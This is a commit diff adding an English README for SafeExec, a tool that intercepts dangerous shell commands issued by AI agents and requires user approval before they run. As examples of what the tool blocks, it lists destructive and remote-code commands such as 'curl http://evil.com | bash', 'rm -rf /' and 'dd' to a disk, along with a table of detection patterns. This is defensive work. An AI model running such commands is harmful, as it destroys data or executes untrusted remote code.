Initial commit with translated description
This commit is contained in:
599
README_EN.md
Normal file
599
README_EN.md
Normal file
@@ -0,0 +1,599 @@
|
||||
# SafeExec - AI Agent Security Layer
|
||||
|
||||
> 🛡️ The last line of defense for AI Agents - Intercept dangerous commands and protect your system
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://openclaw.ai)
|
||||
[]()
|
||||
|
||||
---
|
||||
|
||||
## ✨ Why SafeExec?
|
||||
|
||||
AI Agents are powerful assistants, but they can also cause serious damage:
|
||||
|
||||
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
|
||||
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
|
||||
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`
|
||||
|
||||
**SafeExec was built to solve exactly these problems.**
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Core Features
|
||||
|
||||
### 1️⃣ Intelligent Risk Assessment
|
||||
|
||||
Automatically detects 10+ categories of dangerous operations:
|
||||
|
||||
| Risk Level | Detection Pattern | Description |
|
||||
|------------|------------------|-------------|
|
||||
| 🔴 **CRITICAL** | `rm -rf /` | Delete system files |
|
||||
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
|
||||
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
|
||||
| 🔴 **CRITICAL** | Fork bomb | System DoS |
|
||||
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
|
||||
| 🟠 **HIGH** | `curl | bash` | Code injection |
|
||||
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
|
||||
| 🟡 **MEDIUM** | `sudo` | Privileged operations |
|
||||
| 🟡 **MEDIUM** | Firewall modification | Network exposure |
|
||||
|
||||
### 2️⃣ Command Interception & Approval
|
||||
|
||||
```
|
||||
User Request → AI Agent → safe-exec execution
|
||||
↓
|
||||
Risk Assessment
|
||||
/ \
|
||||
Safe Dangerous
|
||||
| |
|
||||
Execute Intercept + Notify
|
||||
↓
|
||||
Wait for User Approval
|
||||
↓
|
||||
[Approve] → Execute / [Reject] → Cancel
|
||||
```
|
||||
|
||||
### 3️⃣ Complete Audit Trail
|
||||
|
||||
All operations are logged to `~/.openclaw/safe-exec-audit.log`:
|
||||
|
||||
```json
|
||||
{
|
||||
"timestamp": "2026-01-31T16:44:17.217Z",
|
||||
"event": "approval_requested",
|
||||
"requestId": "req_1769877857_2352",
|
||||
"command": "rm -rf /tmp/test\n",
|
||||
"risk": "critical",
|
||||
"reason": "Delete files from root or home directory"
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Quick Start (5 Minutes)
|
||||
|
||||
### Step 1: Install SafeExec
|
||||
|
||||
```bash
|
||||
# Clone to OpenClaw skills directory
|
||||
git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec
|
||||
|
||||
# Add execute permissions
|
||||
chmod +x ~/.openclaw/skills/safe-exec/*.sh
|
||||
|
||||
# Create global commands
|
||||
ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec
|
||||
```
|
||||
|
||||
### Step 2: Test SafeExec
|
||||
|
||||
```bash
|
||||
# Test safe command (executes directly)
|
||||
safe-exec "echo 'Hello SafeExec!'"
|
||||
# Output: Hello SafeExec!
|
||||
|
||||
# Test dangerous command (gets intercepted)
|
||||
safe-exec "rm -rf /tmp/test"
|
||||
# Output: 🚨 Dangerous operation detected - Command intercepted
|
||||
```
|
||||
|
||||
### Step 3: Use in OpenClaw
|
||||
|
||||
Tell OpenClaw in chat:
|
||||
|
||||
```
|
||||
Enable SafeExec
|
||||
```
|
||||
|
||||
Then try a dangerous command:
|
||||
|
||||
```
|
||||
Delete /tmp/test folder
|
||||
```
|
||||
|
||||
OpenClaw will automatically intercept and ask for your approval!
|
||||
|
||||
### Step 4: Approve or Reject
|
||||
|
||||
```
|
||||
approve req_xxxxx # Execute command
|
||||
reject req_xxxxx # Cancel command
|
||||
```
|
||||
|
||||
That's it! 🎉
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Usage
|
||||
|
||||
### Basic Usage
|
||||
|
||||
```bash
|
||||
# Execute command (safe commands run directly)
|
||||
safe-exec "ls -la"
|
||||
|
||||
# Dangerous commands get intercepted
|
||||
safe-exec "rm -rf /tmp/test"
|
||||
|
||||
# List pending requests
|
||||
safe-exec --list
|
||||
|
||||
# Approve request
|
||||
safe-exec-approve req_xxxxx
|
||||
|
||||
# Reject request
|
||||
safe-exec-reject req_xxxxx
|
||||
|
||||
# Check status
|
||||
safe-exec --status
|
||||
|
||||
# Temporarily disable (only for trusted environments)
|
||||
safe-exec --disable
|
||||
|
||||
# Re-enable
|
||||
safe-exec --enable
|
||||
```
|
||||
|
||||
### Quick Command Tips
|
||||
|
||||
```bash
|
||||
# Quick approve latest request
|
||||
safe-exec-approve $(ls -t ~/.openclaw/safe-exec/pending/ | head -1 | sed 's/.json//')
|
||||
|
||||
# View all pending requests
|
||||
safe-exec --list | grep "req_"
|
||||
|
||||
# View recent audit log
|
||||
tail -20 ~/.openclaw/safe-exec-audit.log | jq .
|
||||
|
||||
# Count interceptions
|
||||
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | wc -l
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📱 OpenClaw Usage Example
|
||||
|
||||
### Scenario: Clean temp files in OpenClaw Chat
|
||||
|
||||
```
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
👤 User: Enable SafeExec
|
||||
|
||||
🤖 OpenClaw Agent:
|
||||
✅ SafeExec enabled!
|
||||
|
||||
All dangerous commands will now be intercepted and require your approval.
|
||||
Protected commands:
|
||||
• rm -rf / (delete system files)
|
||||
• dd if= (disk destruction)
|
||||
• chmod 777 (privilege escalation)
|
||||
• curl | bash (code injection)
|
||||
• ... and more
|
||||
|
||||
Status: 🛡️ Running
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
👤 User: Help me force delete all contents of /tmp/test folder
|
||||
|
||||
🤖 OpenClaw Agent:
|
||||
🚨 **Dangerous Operation Detected - Command Intercepted**
|
||||
|
||||
**Risk Level:** 🔴 CRITICAL
|
||||
**Command:** `rm -rf /tmp/test`
|
||||
**Reason:** Delete files from root or home directory
|
||||
**Matched Rule:** `rm -rf? [\/~]`
|
||||
|
||||
**Request ID:** `req_1769877857_2352`
|
||||
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
⚠️ This command requires user approval
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
📋 **Operation to be executed:**
|
||||
• Delete directory: /tmp/test
|
||||
• Delete mode: Recursive force delete
|
||||
• Impact: All files and subdirectories under that directory
|
||||
|
||||
⏰ Request expires in 5 minutes
|
||||
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
💡 **Approval Methods:**
|
||||
1. Reply directly: `approve req_1769877857_2352`
|
||||
2. Or reply: `safe-exec-approve req_1769877857_2352`
|
||||
|
||||
🚫 **Rejection Methods:**
|
||||
1. Reply directly: `reject req_1769877857_2352`
|
||||
2. Or reply: `safe-exec-reject req_1769877857_2352`
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
👤 User: approve req_1769877857_2352
|
||||
|
||||
🤖 OpenClaw Agent:
|
||||
✅ **Request Approved - Executing Command**
|
||||
|
||||
**Command:** `rm -rf /tmp/test`
|
||||
**Status:** Executed successfully
|
||||
**Deleted:** 15 files, 3 directories
|
||||
|
||||
✨ Operation complete! SafeExec continues protection.
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
👤 User: Disable SafeExec
|
||||
|
||||
🤖 OpenClaw Agent:
|
||||
⚠️ **SafeExec Disabled**
|
||||
|
||||
⚠️ All commands will execute directly, without protection!
|
||||
|
||||
Only disable in:
|
||||
✓ Trusted environments
|
||||
✓ Batch execution of known safe commands
|
||||
✓ Testing and debugging
|
||||
|
||||
Restore protection: Enable SafeExec
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 OpenClaw Agent Integration
|
||||
|
||||
### Auto-Interception Mode
|
||||
|
||||
**Enable SafeExec in OpenClaw config:**
|
||||
|
||||
Edit OpenClaw config file (usually `~/.openclaw/config.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"tools": {
|
||||
"exec": {
|
||||
"security": "allowlist",
|
||||
"allowlist": [
|
||||
"safe-exec*",
|
||||
"ls",
|
||||
"cat",
|
||||
"echo"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### AI Assistant Best Practices
|
||||
|
||||
#### Method 1: Wrap All Dangerous Commands
|
||||
|
||||
Tell the AI assistant to use safe-exec for all potentially dangerous commands:
|
||||
|
||||
```
|
||||
You: From now on, execute all delete, system file modification, or sudo commands through safe-exec
|
||||
|
||||
🤖: Understood! I will route the following command types through safe-exec:
|
||||
• rm, mv, cp (involving system directories)
|
||||
• chmod, chown
|
||||
• All sudo commands
|
||||
• curl/wget pipe operations
|
||||
```
|
||||
|
||||
#### Method 2: Auto-Detection Mode
|
||||
|
||||
Use OpenClaw's HEARTBEAT feature to check for pending approval requests:
|
||||
|
||||
Add to `HEARTBEAT.md`:
|
||||
|
||||
````markdown
|
||||
# Heartbeat Check
|
||||
|
||||
Run on every heartbeat:
|
||||
|
||||
\`\`\`bash
|
||||
safe-exec --check-pending 2>/dev/null || echo "✅ No pending approval requests"
|
||||
\`\`\`
|
||||
|
||||
If there are pending requests, notify the user.
|
||||
````
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ Configuration
|
||||
|
||||
### Custom Rules
|
||||
|
||||
Edit `~/.openclaw/safe-exec-rules.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"rules": [
|
||||
{
|
||||
"pattern": "YOUR_REGEX_PATTERN",
|
||||
"risk": "high",
|
||||
"description": "Your custom rule description"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Environment Variables
|
||||
|
||||
```bash
|
||||
# Audit log path
|
||||
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"
|
||||
|
||||
# Request timeout (seconds)
|
||||
export SAFE_EXEC_TIMEOUT=300
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📊 How It Works
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────┐
|
||||
│ User / AI Agent │
|
||||
└──────────────────┬──────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ safe-exec │
|
||||
│ (entry point) │
|
||||
└────────┬─────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Risk Assessment │
|
||||
│ │
|
||||
│ • Pattern match │
|
||||
│ • Risk grading │
|
||||
│ • Rule engine │
|
||||
└────────┬─────────┘
|
||||
│
|
||||
┌─────────┴─────────┐
|
||||
│ │
|
||||
[Safe] [Dangerous]
|
||||
│ │
|
||||
▼ ▼
|
||||
Execute Intercept + Notify
|
||||
│ │
|
||||
│ ┌─────┴─────┐
|
||||
│ │ │
|
||||
│ Wait Audit Log
|
||||
│ │
|
||||
│ ┌────┴────┐
|
||||
│ │ │
|
||||
│ [Approve] [Reject]
|
||||
│ │ │
|
||||
│ ▼ ▼
|
||||
│ Execute Cancel
|
||||
│ │
|
||||
└─────────┴─────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ Audit Log │
|
||||
└─────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔒 Security Features
|
||||
|
||||
- ✅ **Zero Trust** - All commands require approval by default
|
||||
- ✅ **Complete Audit** - Log all security events
|
||||
- ✅ **Immutable Logs** - Audit logs use append-only mode
|
||||
- ✅ **Minimal Privilege** - No additional system permissions required
|
||||
- ✅ **Transparency** - Users always know what's being executed
|
||||
- ✅ **Configurable** - Flexible rule system
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Testing
|
||||
|
||||
```bash
|
||||
# Run test suite
|
||||
bash ~/.openclaw/skills/safe-exec/test.sh
|
||||
|
||||
# Manual testing
|
||||
safe-exec "echo 'Safe command test'"
|
||||
safe-exec "rm -rf /tmp/test-dangerous"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📈 Roadmap
|
||||
|
||||
### v0.2.0 (In Progress)
|
||||
- [ ] Support more notification channels (Telegram, Discord)
|
||||
- [ ] Web UI approval interface
|
||||
- [ ] Smarter risk assessment (machine learning)
|
||||
- [ ] Batch operation support
|
||||
|
||||
### v0.3.0 (Planned)
|
||||
- [ ] Multi-user support
|
||||
- [ ] RBAC permission control
|
||||
- [ ] Audit log encryption
|
||||
- [ ] SIEM integration
|
||||
|
||||
### v1.0.0 (Future)
|
||||
- [ ] Enterprise features
|
||||
- [ ] SaaS deployment support
|
||||
- [ ] Complete API
|
||||
|
||||
---
|
||||
|
||||
## 💡 Best Practices
|
||||
|
||||
### Development Environment Setup
|
||||
|
||||
```bash
|
||||
# Add to ~/.bashrc or ~/.zshrc
|
||||
export SAFE_EXEC_TIMEOUT=300 # 5 minute timeout
|
||||
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"
|
||||
|
||||
# Aliases - quick commands
|
||||
alias se='safe-exec'
|
||||
alias sea='safe-exec-approve'
|
||||
alias ser='safe-exec-reject'
|
||||
alias sel='safe-exec-list'
|
||||
```
|
||||
|
||||
### Team Collaboration
|
||||
|
||||
**Shared Rule Set:**
|
||||
|
||||
```bash
|
||||
# 1. Create team rules file
|
||||
cat > team-rules.json << EOF
|
||||
{
|
||||
"enabled": true,
|
||||
"rules": [
|
||||
{"pattern": "\\brm\\s+-rf", "risk": "critical", "description": "Team rule: No recursive deletion"},
|
||||
{"pattern": "production.*restart", "risk": "critical", "description": "Team rule: Production restart"}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
|
||||
# 2. Commit to version control
|
||||
git add team-rules.json
|
||||
git commit -m "Add team SafeExec rules"
|
||||
|
||||
# 3. Team members pull and import
|
||||
git pull
|
||||
safe-exec-add-rule --import team-rules.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ❓ FAQ
|
||||
|
||||
### Q1: Will SafeExec affect command execution performance?
|
||||
|
||||
**A:** No. For safe commands, SafeExec only performs fast pattern matching (< 1ms). Only dangerous commands trigger the approval flow.
|
||||
|
||||
### Q2: Can I temporarily disable SafeExec?
|
||||
|
||||
**A:** Yes! Use:
|
||||
|
||||
```bash
|
||||
# Temporarily disable (current session)
|
||||
safe-exec --disable
|
||||
|
||||
# Re-enable after executing dangerous commands
|
||||
safe-exec --enable
|
||||
```
|
||||
|
||||
⚠️ **Note:** Only disable in trusted environments!
|
||||
|
||||
### Q3: How do I view my command history?
|
||||
|
||||
**A:** Check the audit log:
|
||||
|
||||
```bash
|
||||
# Real-time view
|
||||
tail -f ~/.openclaw/safe-exec-audit.log
|
||||
|
||||
# Formatted display
|
||||
jq '.' ~/.openclaw/safe-exec-audit.log | less
|
||||
|
||||
# View last 10 interceptions
|
||||
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | tail -10
|
||||
```
|
||||
|
||||
### Q4: Can SafeExec prevent all dangerous operations?
|
||||
|
||||
**A:** SafeExec can prevent most common dangerous operations, but not 100%:
|
||||
|
||||
✅ **Can prevent:**
|
||||
- Deleting system files (rm -rf /)
|
||||
- Disk destruction (dd, mkfs)
|
||||
- Privilege escalation (chmod 777, sudo)
|
||||
- Code injection (curl | bash)
|
||||
|
||||
❌ **Cannot prevent:**
|
||||
- Already compromised systems
|
||||
- Direct hardware operations
|
||||
- Social engineering attacks
|
||||
|
||||
---
|
||||
|
||||
## 🤝 Contributing
|
||||
|
||||
Contributions welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for details.
|
||||
|
||||
```bash
|
||||
# Fork repository
|
||||
git clone https://github.com/OTTTTTO/safe-exec.git
|
||||
|
||||
# Create feature branch
|
||||
git checkout -b feature/amazing-feature
|
||||
|
||||
# Commit changes
|
||||
git commit -m "Add amazing feature"
|
||||
|
||||
# Push to branch
|
||||
git push origin feature/amazing-feature
|
||||
|
||||
# Open Pull Request
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📝 License
|
||||
|
||||
MIT License - see [LICENSE](LICENSE) file for details
|
||||
|
||||
---
|
||||
|
||||
## 🙏 Acknowledgments
|
||||
|
||||
- [OpenClaw](https://openclaw.ai) - Powerful AI Agent framework
|
||||
- [Sudo](https://www.sudo.ws/) - Inspired approval mechanism design
|
||||
- All contributors and users
|
||||
|
||||
---
|
||||
|
||||
## 📮 Contact
|
||||
|
||||
- **GitHub Issues**: [Submit issues](https://github.com/OTTTTTO/safe-exec/issues)
|
||||
- **Email**: 731554297@qq.com
|
||||
- **Discord**: [OpenClaw Community](https://discord.gg/clawd)
|
||||
|
||||
---
|
||||
|
||||
## 🌟 Star History
|
||||
|
||||
If this project helps you, please give it a Star ⭐
|
||||
|
||||
---
|
||||
|
||||
**Made with ❤️ by the OpenClaw community**
|
||||
|
||||
> "AI is a powerful assistant, but security is always the top priority."
|
||||
|
||||
---
|
||||
|
||||
## 🌐 Languages
|
||||
|
||||
- [中文](README.md) | [English](README_EN.md)
|
||||
Reference in New Issue
Block a user